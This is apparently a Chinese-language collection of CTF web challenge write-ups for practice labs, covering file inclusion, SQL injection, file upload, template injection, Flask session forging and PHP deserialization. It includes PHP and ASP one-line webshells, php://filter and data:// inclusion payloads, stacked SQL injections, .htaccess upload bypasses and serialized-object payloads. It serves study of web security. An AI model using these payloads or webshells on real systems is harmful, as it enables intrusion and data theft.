[ACTF2020 xinshensai]Include
[ACTF2020 新生赛] Include
经典操作
"php://input" 伪协议 + POST 发送 PHP 代码
这个操作主要就是在 url 后提交伪协议,然后可以用 burpsuite 提交含有 php 语句的 post 请求。
但是提交协议被发现了
条件:php 配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0), 就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即 POST 过去 PHP 代码,即可执行。
尝试第二个常用伪协议
php://filter 设计用来过滤筛选文件
注:路径问题没弄明白建议看看下面的 Q 和 A
非 php 语法文件 include 失败,直接输出源码内容
php 语法文件 include 成功,直接运行
如果想要读取运行 php 文件的源码,可以先 base64 编码,再传入 include 函数,这样就不会被认为是 php 文件,不会执行,会输出文件的 base64 编码,再解码即可。
1 2 3 4 5 6 7 payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php 得到: PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NGM2MzQ2ZTktMzI4ZS00M2UyLThkZmItN2EwZTJjZDVjNjEyfQo= 经过base64解码: <?php echo "Can you find out the flag?"; //flag{4c6346e9-328e-43e2-8dfb-7a0e2cd5c612}
文件包含漏洞的原理
这道题尝试的两种伪协议操作
在 pikachu 上练习理解两种(本地和远程)文件包含漏洞
get 到新工具:中国蚁剑。扩宽了之前爆破的用法
文件包含漏洞
概念(pikachu)
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在 PHP 中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个 “意想不到” 的文件让包含函数去执行,从而造成恶意操作。
在 php 中能够造成文件包含的函数有 include、require、include_once、require_once、
highlight_file、show_source、file_get_contents、fopen、file、readfile
函数了解(先简单了解一下四种最常见的)
include 函数
可以放在 PHP 脚本的__任意位置__,一般放在流程控制的处理部分中。当 PHP 脚本执行到 include 指定引入的文件时,才将它包含并尝试执行。这种方式可以把程序执行时的__流程进行简单化__。当第二次遇到相同文件时,PHP 还是会__重新解释__一次,include 相对于 require 的__执行效率下降__很多,同时在引入文件中包含用户自定义函数时,PHP 在解释过程中会发生__函数重复定义__问题。include 载入成功后,返回 1,失败则返回 false。
require 函数
require 函数一般放在 PHP 脚本的__最前面__,PHP 执行前就会先读入 require 指定引入的文件,包含并尝试执行引入的脚本文件。require 的工作方式是__提高 PHP 的执行效率__,当它在同一个网页中解释过一次后,第二次便不会解释。但同样的,正因为它不会重复解释引入文件,所以当 PHP 中使用循环或条件语句来引入文件时,需要用到 include。require 载入成功返回 1,失败无返回值。
include_once 和 require_once 函数
分别与 require /include 作用相同,不同的是他们在执行到时会先检查目标内容是不是在之前已经导入过,如果导入过了,那么便不会再次重复引入其同样的内容。
(pikachu)学习
通过 pikachu 文件包含漏洞的学习,目前可将文件包含漏洞分为两大类:本地的和远程的
感觉套路主要是利用 php 的几个函数漏洞,再利用 php 伪协议获取情报乃至注入脚本,最终夺取 flag
Q:
…/…/…/…/…/1.txt(可以从当前文件夹 include 回退到 pikachu 目录下的 1.txt)
(可以从当前文件夹 include 回退到 D 盘目录下的 post.txt, 无论…/ 有多少可以一直在 d 盘搜索)
…/…/…/Windows/System32/drivers/etc/hosts(不知道如何回退到 c 盘进行查找??? inlude_path 配置???)
A:
include_path=".;c:\php\includes"
include “include/filename"
两者拼接,所以需要至少回退三级才能回到c盘进入处理
Q:
include_path=".;c:\php\includes"
include "filename”
practice: …/…/Windows/System32/drivers/etc/hosts (报错)
/…/…/Windows/System32/drivers/etc/hosts(可以)
A:
以 include "f i l e n a m e " ; 为例, filename";为例, f i l e n a m e " ; 为 例 , filename 为传入参数,当f i l e n a m e 以 . / 或 . . / 开头时(),跳过 i n c l u d e p a t h 的作用逻辑,不进行拼接,直接访问;若 filename以./或../开头时(),跳过include_path的作用逻辑,不进行拼接,直接访问;若 f i l e n a m e 以 . / 或 . . / 开 头 时 ( ) , 跳 过 i n c l u d e p a t h 的 作 用 逻 辑 , 不 进 行 拼 接 , 直 接 访 问 ; 若 filename 不以./ 或…/ 开头,会根据 include_path 组成一个待选的目录列表。
[SUCTF 2019]EasySQL
这是一道 sql 注入的题,我想到的做法是先试一试常见的联合注入、报错注入、盲注看看反馈的值情况,考虑是进行绕过还是其他注入
这里很明显,输入框就是注入点,所以我们的目的是进去 flag 所在的表获取 flag 值
测试常见注入
Nonono.
Nonono.
Nonono.
Nonono.
hhh。。。。。。
我真的栓 Q
看看堆叠注入喽
简单理解就是可以一次性执行多条 sql 语句
暴库
1;show databases;
爆表
1;show tables;
看来这个讨厌的 flag 应该就是在 Flag 表中,继续看看
爆列
1;show columns from Flag;
哈哈,果然没有那么 easy
按照大家的 wp 猜测源码尝试喽
$_POST[‘query’] || flag from Flag 1 2 sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数 当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
回顾:
1 2 3 4 5 6 7 8 9 10 11 command1;command2顺序执行 command1 || command2 如果command1执行失败,则执行command2 command1 && command2 如果command1执行成功,则执行command2 如果$post[‘query’]的数据为 *,1 sql语句就变成了select *,1||flag from Flag 就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。 此处的1是临时增加一列,列名为1且这一列的所有值都为1 得到flag
或者也是利用上面 || 符号
1 2 3 4 sql_mode=PIPES_AS_CONCAT时即可 Payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 拼接完之后:select 1;set sql_mode2=PIPES_AS_CONCAT;select 1||flag from Flag 相当于是select 1 from Flag和select flag from Flag
得到 flag
[jikedatiaozhan2019]Secret File
[极客大挑战 2019] Secret File
这和之前做的那道题差不多也是一个文件包含漏洞,利用伪协议即可解决关键在于找出隐藏的文件。
尝试
首先到到处看看,点到一个隐藏的按钮,之后发现一个 secret 红色醒目大按钮(Archive_room.php),点点看。直接滑到 end.php,还说没看清让撤回去看看。细细思索一下,应该是从 Archive_room.php 到 end.php 藏有一些东西。
抓包看看中间的过程咩
发现有个 secr3t.php
输在 url 后面看看是啥样子
那这样子看看 flag.php 会不会显示内容,估计八成不会得向上一题一样利用文件包含伪协议试一试
1 /secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
解码一下即可拿取 flag
[jikedatiaozhan2019]Knife
[极客大挑战 2019] Knife
哈哈题目就是 Knife,点进去标题是菜刀丢了,还给了密码。就要想到一款工具中国菜刀或者中国蚁剑和一句话木马相关知识。
这道题其实考察的知识就是让我们简单明白一句话木马的相关知识(入门),学习一下这两款工具的使用。
asp 一句话木马:
1 <%execute(request("value"))%>
php 一句话木马:
1 <?php @eval($_POST[value]);?>
中国蚁剑
右键添加数据
可以看看测试连接,一般都会成功
这里有个坑
就是数据配置那里有个编码器,要注意选择更改,不然后面看文件会出现问题!!!!!
哈哈右键查看文件管理
根目录有个 flag 文件里面就是 flag
[jikedatiaozhan2019]Http
[极客大挑战 2019] Http
这道题感觉主要和协议知识有关,入门了解协议包各部分的具体作用。burpsuite 真是一个好东西呀,比自己 f12 看代码强多了,强烈安利!!!
防盗链
比如我只允许我自己的网站访问我自己的图片服务器,那我的域名是 www.sojson.com ,那么图片服务器每次取到 Referer 来判断一下是不是我自己的域名 www.sojson.com ,如果是就继续访问,不是就拦截。
防止恶意请求
静态请求是 *.html
结尾的,动态请求是 *.shtml
,那么由此可以这么用,所有的 *.shtml
请求,必须 Referer 为我自己的网站
参考 http://t.csdn.cn/dOS5m
1)静态请求
简单的来说就是 html 页面的请求
2)动态请求
简单来说是.php、.net、.jsp 等请求
哦豁,又告诉我 brower,原来是浏览器的意思。。。。继续吧
[jikedatiaozhan2019]Upload
[极客大挑战 2019] Upload
尝试
php 文件,假 jpg 文件失败
感觉应该是对前后端都做了过滤
关闭 js
失败
利用 Burp 抓包,改变 MIME type 和文件后缀名
这里告诉我们应该是 php 代码中 <?
露馅了,那么我们想办法绕过
phtml
PHTML(有时叫做 PHP)网页是一种包含 PHP(一种和 JavaScript 或 Microsoft VBScript 类似的语言)脚本的网页和 ASP 一样,PHP 脚本镶嵌在网页的 HTML 代码之中。在页面被发送给请求的用户之前,网页服务器调用 PHP 解释程序来解释和执行 PHP 脚本。含有 PHP 脚本的网页通常都以 “.php”、“.php3” 或 “.phtml” 作为后缀。和 ASP 一样,PHP 可以被认为是一种 “动态网页”。
绕过
这里采取文件名以 phtml 结尾
这样的话为了避免识破是假图片我们可以结合文件幻术头 GIF89a 试一试
还有更改 MIME type
应该是可以上传了吧
完美,成功上传,接下来只要用蚁剑连接上找到 flag 文件就可以拿取 flag 了
蚁剑连接
咱先看看文件具体放在哪个文件夹下才能连接
根据之前 Pikachu 靶场的经验猜测在 upload 文件夹下面
http://c0557e50-169f-4627-8e49-bd6e5a3e8760.node4.buuoj.cn:81/upload/2.phtml
正确访问
蚁剑注意编码器选择
flag 文件在根目录
[ACTF2020 xingshensai]Upload
ACTF2020 新生赛] Upload
不想解释了,这道题和上一道题差不多,而且这道题还大发慈悲给了我们路径,直接连了拿 flag 就完事
http://a43e3f7f-73de-4e77-895e-fa6918c6c3b7.node4.buuoj.cn:81/uplo4d/04b83e34e98d42802696941d27bc6c12.phtml
[ACTF2020 xingshensai]BackupFile
[ACTF2020 新生赛] BackupFile
BackupFile 备份文件
Q: 备份文件是指类似于压缩文件吗?用 diesearch 扫描后那么多可选择的备份文件后缀名,为啥偏偏选择 /index.php.bak?
A: diesearch 扫描线程数默认为 25,线程开太多导致状态码不是 200。可以将线程数调为 1,虽然扫描慢一点(我可以接受这个速度),但是成功扫描出三个备份文件,之后一次访问一下即可!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include_once "flag.php"; if(isset($_GET['key'])) { $key = $_GET['key']; //用来判断key是不是数字 if(!is_numeric($key)) {//!is_numeric()如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE exit("Just num!"); } //intval()参考 https://www.w3cschool.cn/php/php-intval.html $key = intval($key); //用于获取变量的整数值 $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"; if($key == $str) { //弱类型比较 echo $flag; } } else { echo "Try to find out source file!"; }
==
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
===
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
1 2 3 4 5 6 7 <?php var_dump("admin"==0); //true var_dump("1admin"==1); //true var_dump("admin1"==1) //false var_dump("admin1"==0) //true var_dump("0e123456"=="0e4456789"); //true ?> //上述代码可自行测试
观察上述代码,“admin”==0 比较的时候,会将 admin 转化成数值,强制转化,由于 admin 是字符串,转化的结果是 0 自然和 0 相等
“1admin”==1 比较的时候会将 1admin 转化成数值,结果为 1,而 “admin1“1 却等于错误,也就是 "admin1" 被转化成了 0, 为什么呢??
"0e123456" "0e456789" 相互比较的时候,会将 0e 这类字符串识别为科学技术法的数字,0 的无论多少次方都是零,所以相等
1 2 3 if($key == $str) { //弱类型比较 echo $flag; }
满足它俩相等即可!
http://94c7a0c0-fe9d-489a-80b9-61211afe7edf.node4.buuoj.cn:81/?key=123
[RoarCTF 2019]Easy Calc
php 字符串解析漏洞
顺便简单了解一下 ajax,php 解析,WAF 等内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
发现对 blacklist 中的字符做了黑名单过滤
php 解析字符串
参考 https://www.freebuf.com/column/207936.html
PHP 需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1)删除空白符
2)将某些字符转换为下划线(包括空格)
看看解析函数到底是如何处理这些特殊字符的:
通过以上特性,当 waf 限制 get 参数类型或者长度等等,我们就可以很轻松的绕过。
绕过
先输入空格,然后 num 参数加上 phpinfo ()(当然你输入其他函数或者字母也是🆗的,这个取决于你自己的喜好),目的是看看有没有成功绕过 waf
http://node4.buuoj.cn:29442/calc.php? num=phpinfo()
空格成功绕过,而且 php 函数会被执行,接下来咱们可以考虑一下其他函数的利用
四个函数
chr () — 返回指定的字符
scandir () — 列出指定路径中的文件和目录,目录必须要填
var_dump () — 打印变量的相关信息
file_get_contents () — 用于将文件的内容读入到一个字符串中
scandir()
我们可以利用这个函数放回 / 中含有的文件和数组目录,看看里面的信息
scandir (/)
chr()
由于 / 被黑名单过滤,我们可以用 chr (47) 绕过
也就是 scandir (chr (47))
var_dump()
将前面构造好的语句执行内容打印出来
var_dump (scandir (chr (47)))
http://node4.buuoj.cn:29442/calc.php? num=var_dump(scandir(chr(47) ))
在这一串内容中我们看到和 flag 有关的
string (5) “f1agg”
将 flagg 文件的内容读取打印出来
var_dump (file_get_contents (flagg))
返回 bool (false)
思考:我们得到 flag 是在 / 下面得到的,应该是路径不对,我们在加上 / 看看 (注意绕过)
var_dump(file_get_contents(chr(47)flagg))
en, 还是不太对,尝试都用 ascII 码看看
var_dump (file_get_contents (chr (47).chr (102).chr (49).chr (97).chr (103).chr (103)))
通关
[jikedatiaozhan2019]BuyFlag
[极客大挑战 2019] BuyFlag
这题主要考察两个 php 函数绕过,以及做 ctf 题的观察
pay.php 抓包
在菜单栏选择 pay.php 那一页进去,发现告诉我们要是学生并且支付钱才能得到 flag
用 burp 抓包
发现 cookie 那里有个 user 的数值为 0,第一反应把值改成 student 试一试,不行。那就 1,好了它又继续提示
要输入正确密码和 money 还有是 post 提交
1 2 3 4 5 6 7 8 9 10 11 <!-- ~~~post money and password~~~ if (isset($_POST['password'])) { $password = $_POST['password']; if (is_numeric($password)) { echo "password can't be number</br>"; }elseif ($password == 404) { echo "Password Right!</br>"; } } -->
is_numeric
is_numeric () 函数用于检测变量是否为数字或数字字符串
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE
s_numeric 函数对于空字符 %00,无论是 %00 放在前后都可以判断为非数值,而 %20 空格字符只能放在数值后
所以我们可以搞一个
password=404%20
password=404%00
Q:password=%00404 不可以
弱类型比较
== 这个知识点之前提过
所以我们也可以
password=404a
strcmp () 函数
strcmp () 函数比较两个字符串
0 - 如果两个字符串相等
< 0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
strcmp 函数无法比较数组,会返回 0,将 money 输入为数组即可绕过
money []=100000000
注意:如果没有作用可以在如图参数配置修改
[huwangbei2018]easy_tornado
[护网杯 2018] easy_tornado
这是一道模板注入
所以参与一场开发还是很有意义滴
后续再多看看其他常用框架
观察
有三个页面
/flag.txt: 告诉我们 flag 在 /fllllllllllllag 中
/welcome.txt: 有一个 render,使用过模板的应该知道。这里估计要考虑模板注入
/hints.txt:md5 (cookie_secret+md5 (filename))
进入 /flag.txt 看看
url 变成 http://8d67d8e8-c765-4f92-a7d5-982752e37342.node4.buuoj.cn:81/file?filename=/flag.txt&filehash=9f4508c5fb0fa97ee2ce64e98366cf3b
filename 和 filehash (这里估计和 md5 那个提示有关)
进入 /fllllllllllllag
url 变成 http://8d67d8e8-c765-4f92-a7d5-982752e37342.node4.buuoj.cn:81/error?msg=Error
怀疑 msg 存在模板注入
尝试 msg=1
msg=2
发现只输入内容可以正常回显,但是计算不行,应该是被过滤了
然后思考一下,可以回显我们需要回显什么内容呢?
md5(cookie_secret+md5(filename))
filename 应该是 /fllllllllllllag
cookie_secret 这个不知道
然后我们知道了 cookie_secret 就可以求出 md5 值
联想一下前面 url 里出现的 filename 和 filehash,应该有点思路了吧
获取 cookie_secret
在 tornado 模板中,存在一些可以访问的快速对象,这里用到的是 handler.settings,handler 指向 RequestHandler,而 RequestHandler.settings 又指向 self.application.settings,所以 handler.settings 就指向 RequestHandler.application.settings 了,这里面就是我们的一些环境变量
ps: 仔细看一下 tornado 那篇文章应该就能 get 到了
msg=
md5
手动使用 MD5 在线工具
ps:filename 是 /fllllllllllllag,不要把 / 漏了
写一个 python 代码跑一下
1 2 3 4 5 6 7 8 9 10 import hashlib hash = hashlib.md5() filename='/fllllllllllllag' cookie_secret="" hash.update(filename.encode('utf-8')) s1=hash.hexdigest() hash = hashlib.md5() hash.update((cookie_secret+s1).encode('utf-8')) print(hash.hexdigest())
模板注入(SSTI)
模板注入 (SSTI)
参考 https://www.cnblogs.com/bmjoker/p/13508538.html
模板引擎(web)
模板引擎会提供一套生成 html 代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板 + 用户数据的前端 html 页面,然后反馈给浏览器,呈现在用户面前
模板注入原因
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
tornado
参考 https://www.cnblogs.com/aylin/p/5702994.html
ps:从头到尾看完这篇博客,了解 tornado 的主要使用和工作流程,仔细看 cookie-secret 的由来继承关系
Tornado 就是我们在 FriendFeed 的 Web 服务器及其常用工具的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
[HCTF 2018]admin
f12 看源代码,观察有没有啥提示,一般会有注释进行提示。先注释然后登录进去,看到菜单增加了改密码等功能,然后在改密码部分发现可疑注释
应该是这个项目的代码,那就进行代码审计看看吧
代码审计
先看懂这些文件大概都有啥内容,其中个人感觉比较重要的是
requirements.txt,这里面主要写了一些包的版本(版本太低容易遗留一些问题)
routes.py ,写了主要路由,可以分析一下其中要代码
@app.route (’/code’) #验证码
@app.route (’/index’) # 主页
@app.route (’/register’, methods = [‘GET’, ‘POST’]) #注册
@app.route (’/login’, methods = [‘GET’, ‘POST’]) #登录
@app.route (’/logout’) #退出
@app.route (’/change’, methods = [‘GET’, ‘POST’]) #更改密码
@app.route (’/edit’, methods = [‘GET’, ‘POST’]) #留言
@app.errorhandler (404) #错误页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @app.route('/register', methods = ['GET', 'POST']) def register(): if current_user.is_authenticated: return redirect(url_for('index')) form = RegisterForm() if request.method == 'POST': name = strlower(form.username.data) if session.get('image').lower() != form.verify_code.data.lower(): flash('Wrong verify code.') return render_template('register.html', title = 'register', form=form) if User.query.filter_by(username = name).first(): flash('The username has been registered') return redirect(url_for('register')) user = User(username=name) user.set_password(form.password.data) db.session.add(user) db.session.commit() flash('register successful') return redirect(url_for('login')) return render_template('register.html', title = 'register', form = form)
阅读代码:注册时如果是 post 提交,然后和验证码比较对不对,和数据库的名字作比较,相同不同分别处理。如果成功注册,直接跳到登录页面。
细节: name = strlower(form.username.data)
这里貌似将名字转换为小写,仔细阅读发现,登录,更改密码也有相同操作。继续审计 strlower () 函数
1 2 3 def strlower(username): username = nodeprep.prepare(username) return username
细节:nodeprep.prepare 有一个经常利用的漏洞,使用 nodeprep.prepare () 函数之后,如果先使用 unicode 编码的字符,如 ᴬ ,使用该函数之后,会先改为大写的 A,再使用一次就会变成小写的 a。
unicode 编码:http://t.csdn.cn/mO3AI
3. 既然有想法利用 nodeprep.prepare 函数的漏洞,那就看看登录有没有什么可以利用的,审计前后端登录代码
在 templates (模板) 存放的 html 文件中发现问题
1 2 3 4 5 6 7 8 9 10 {% include('header.html') %} {% if current_user.is_authenticated %} <h1 class="nav">Hello {{ session['name'] }}</h1> {% endif %} {% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav">hctf{xxxxxxxxx}</h1> {% endif %} <!-- you are not admin --> <h1 class="nav">Welcome to hctf</h1> {% include('footer.html') %}
细节: {% if current_user.is_authenticated and session['name'] == 'admin' %}<h1 class="nav">hctf{xxxxxxxxx}</h1>
这意思应该是以 admin 进行登录就可以获取 flag
视觉欺骗
Unicode 视觉欺骗(利用 nodeprep.prepare 函数漏洞)
注册一个账户ᴬᴰmin,按照源码 nodeprep.prepare () 处理,先转换成小写即 ADmin,数据库没有该用户名,绕过 admin 已注册。此时记录在数据库的是 ADmin。
用 ᴬᴰmin 登录,经过 nodeprep.prepare () 处理,此时ᴬᴰmin 变成 ADmin,数据库中有该用户名和密码,登录成功。此时 session [“name”]=ADmin。
login 时 session [“name”]=ADmin,经过 change 函数的 nodeprep.prepare () 处理,Admin 转换成 admin,此时修改的是 admin 的密码,达到目的。
退出登录,以 admin 和刚刚修改的密码登录,即可得到 flag。
爆破
前面分析过我们只要获取 admin 用户的密码进行登录即可得到 ctf,所以我们可以采取爆破方式,抓包只需要爆破密码即可
具体选择爆破方式可以参考这篇文章:https://blog.csdn.net/qq_18831583/article/details/122090075
伪造
session 伪造
当访问服务器某个网页的时候,只要发起了 http 请求(包括请求 html,css,img,js 等等),就会在服务器端的内存里开辟一块内存,这块内存就叫做 session,而这个内存是跟浏览器关联在一起的。当程序需要为某个客户端的请求创建一个 session 的时候,服务器首先检查这个客户端的请求里是否已包含了一个 session 标识 - 称为 session id,如果已包含一个 session id 则说明以前已经为此客户端创建过 session,服务器就按照 session id 把这个 session 检索出来使用,如果检索不到,就会新建一个。如果客户端请求不包含 session id,则为此客户端创建一个 session 并且生成一个与此 session 相关联的 session id,然后把这个 session id 返回给客户端,并在客户端的 cookie 中保存起来。
用户不可以任意篡改
A 用户的 session 无法被 B 用户获取
也就是说,session 的设计目的是为了做用户身份认证。但是,很多情况下,session 被用作了别的用途,将产生一些安全问题
并不是所有语言都有默认的 session 存储机制,也不是任何情况下我们都可以向服务器写入文件。所以,很多 Web 框架都会另辟蹊径,比如 Django 默认将 session 存储在数据库中,而对于 flask 这里并不包含数据库操作的框架,就只能将 session 存储在 cookie 中。
因为 cookie 实际上是存储在客户端(浏览器)中的,所以称之为 “客户端 session”。
注册
登录
抓包
利用 flask-session 安全问题漏洞,可以运用工具加密和解密 session, 伪造 admin 用户的 session 保持登录,最终夺取 flag
解密
python flask_session_cookie_manager3.py decode -s “ckj123” -c “session 值”
加密
python flask_session_cookie_manager3.py encode -s “ckj123” -t “{’_fresh’: True, ‘_id’: b’9d1d89690cbc060b388bf4913775b0b71789bd3e257d5d495313f61c1483612a20f0e3a4dcf6eb4d1707cbdbde8f5dfe9331f95437ce081850d5861a8f03da32’, ‘csrf_token’: b’c580bc459adb2843ab2e9390b99b2ab7e346a92a’, ‘image’: b’AErc’, ‘name’: ‘admin’, ‘user_id’: ‘10’}”
细节
解密
python flask_session_cookie_manager3.py decode -s “ckj123” -c “.eJw9kM2KwkAQhF9l6bMHM5qL4GGX0ZBAdxhJDD0X8ScmmWRciEriiO–gwteq6q_puoJu3NfXmtY3Pp7OYFdc4LFE74OsIC0UKOWVUimHVgkBiUPbHCeRokl2Y7ojjMqYq8dR3JVyFY5ncUBCRVoqULKcETBAgscSVaOzOrBWTxo89OhWE11RJbstqFI-fvvmf_Rst10acSBjnSXZuiwYM9RjgR1KKsxlfmgZT4ns659bkCxqdHFS3hN4Hjtz7vbb1tePhXY5XOMEkMyD7nYNGiqKYp1gzYP0flapg3ZJDWbU4dOCc7aB6vlG9fYfVV-SCrfPnj4dy576w0IYAL3a9m_N4NgCq8_ydJr3A.Y101Dw.BpzA9eGJ3LWOrVhrgDWAXUmOPzs”
得到
{’_fresh’: True, ‘_id’: b’9d1d89690cbc060b388bf4913775b0b71789bd3e257d5d495313f61c1483612a20f0e3a4dcf6eb4d1707cbdbde8f5dfe9331f95437ce081850d5861a8f03da32’, ‘csrf_token’: b’c580bc459adb2843ab2e9390b99b2ab7e346a92a’, ‘image’: b’AErc’, ‘name’: ‘1’, ‘user_id’: ‘10’}
加密
python flask_session_cookie_manager3.py encode -s “ckj123” -t “{’_fresh’: True, ‘_id’: b’9d1d89690cbc060b388bf4913775b0b71789bd3e257d5d495313f61c1483612a20f0e3a4dcf6eb4d1707cbdbde8f5dfe9331f95437ce081850d5861a8f03da32’, ‘csrf_token’: b’c580bc459adb2843ab2e9390b99b2ab7e346a92a’, ‘image’: b’AErc’, ‘name’: ‘admin’, ‘user_id’: ‘10’}”
得到
.eJw9kM2KwkAQhF9l6bMHM5qL4GGX0ZBAdxhJDD0X8ScmmWRciEriiO–gwteq6q_puoJu3NfXmtY3Pp7OYFdc4LFE74OsIC0UKOWVUimHVgkBiUPbHCeRokl2Y7ojjMqYq8dR3JVyFY5ncUBCRVoqULKcETBAgscSVaOzOrBWTxo89OhWE11RJbstqFI-fvvmf_Rst10acSBjnSXZuiwYM9RjgR1KKsxlfmgZT4ns659bkCxqdHFS3hN4Hjtz7vbb1tePhXY5XOMEkMyD7nYNGiqKYp1gzYP0flapg3ZJDWbU4dOCc7aB6vlG9fYfVV-SCrfPnj4dy576w3Yn2xzgQncr2X_3g2CKbz-AIpbbbQ.Y101eQ.fXyB7VyUKwz9xZKjgb6kW33I91g
好了,将 session 换成这个,把包发出去即可!
条件竞争
[BJDCTF2020]Easy MD5
典型的 md5 加密 sql 注入
利用 ffifdyop 进行绕过
ffifdyop
Mysql 会把 hex 转成 ascii 解释
md5 (ffifdyop)
276F722736C95D99E921722CF9ED621C
ascii 转换
https://www.qqxiuzi.cn/bianma/ascii.htm
’ or ‘6
sql 语句
select * from ‘admin’ where password=’’ or ‘6’
select * from ‘admin’ where password=’’ F
‘6’ T
or 语句进行拼接就是 T
MD5 碰撞 & php 弱类型比较
1 2 3 4 5 6 7 <!-- $a = $GET['a']; $b = $_GET['b']; if($a != $b && md5($a) == md5($b)){ // wow, glzjin wants a girl friend. -->
0e 类型绕过
数组绕过
get 提交
在 url 后面加?a []=1&b []=2
1 2 3 4 5 6 7 8 9 <?php error_reporting(0); include "flag.php"; highlight_file(__FILE__); if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){ echo $flag; }
数组绕过
post 提交
ps:burp 发送不成功可能是参数问题,增加一个空的调一调
[ZJCTF 2019]NiZhuanSiWei
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
三个 get 参数 text、file、password
对 text 传一个文件,并且文件内容要是 welcome to the zjctf
preg_match()正则匹配,要求参数 file 不能有 flag
include()文件包含,给了 useless.php,可以看看里面内容在继续
对参数 password 进行反序列化,所以考虑当执行 unserialize 函数时,是否会触发一些魔方函数从而拿取 flag
text
对 text 传一个文件,并且文件内容要是 welcome to the zjctf
可以考虑 php 伪协议
使用:/?file=data://text/plain,[执行的 php 代码]
1 /?text=data://text/plain,welcome to the zjctf
ps:在这里看到各位师傅一般会进行 base64 编码传
1 /?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
useless.php
同样还是使用 php 伪协议查看
使用:/?page=php://filter/read=convert.base64-encode/resource=index.php
1 /?file=php://filter/read=convert.base64-encode/resource=useless.php
但是,想一想啊,之前那个源码是顺着解析的,所以应该得把前面的要求也满足了才行!
1 /?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
好的,把得到的这一串东西进行 base64 解码看看
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
flag.php 中有 Flag 类,公有变量 $file,魔方函数 __tostring()
__tostring()
,isset () 检测变量是否已声明。
得到 file 变量中的文件名后,file_get_contents()读取文件内容。
return (“U R SO CLOSE !///COME ON PLZ”) 字符串
所以我们可以想办法触发 __tostring()
函数,并且让 file 变量的值为 flag.php,这样可以绕过前面的正则表达,从而通过 __tostring()
函数获取 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class Flag{ //flag.php public $file = 'flag.php'; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a = new Flag(); echo (serialize($a)) ?>
得到:
O:4:“Flag”:1:
反序列化
把序列化的内容通过 password 传进去,然后就会执行 unserialize()函数,unserialize()函数会优先执行内部魔方函数 __tostring()
,从而得到 flag!!!
1 /?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
文件上传漏洞
上传.hataccess 文件,抓包修改 conten_type 为 image/png 绕过
1 2 3 <FilesMatch "123.png"> SetHandler application/x-httpd-php </FilesMatch>
利用幻术头上传一句话木马(这里我抓包把文件后缀名去了,因为蚁剑连不上)
1 2 GIF89a <script language="php">@eval($_POST['123']);</script>
蚁剑连接
1 http://59fed871-0a2a-4972-8511-8d9c19bd47b2.node4.buuoj.cn:81/upload/51797438174e9331115a199f295da99e/123
进入文件管理,flag 文件中拿取 flag
[MRCTF2020]Ez_bypass
php 弱类型比较 &&MD5 碰撞和 php 强类型比较
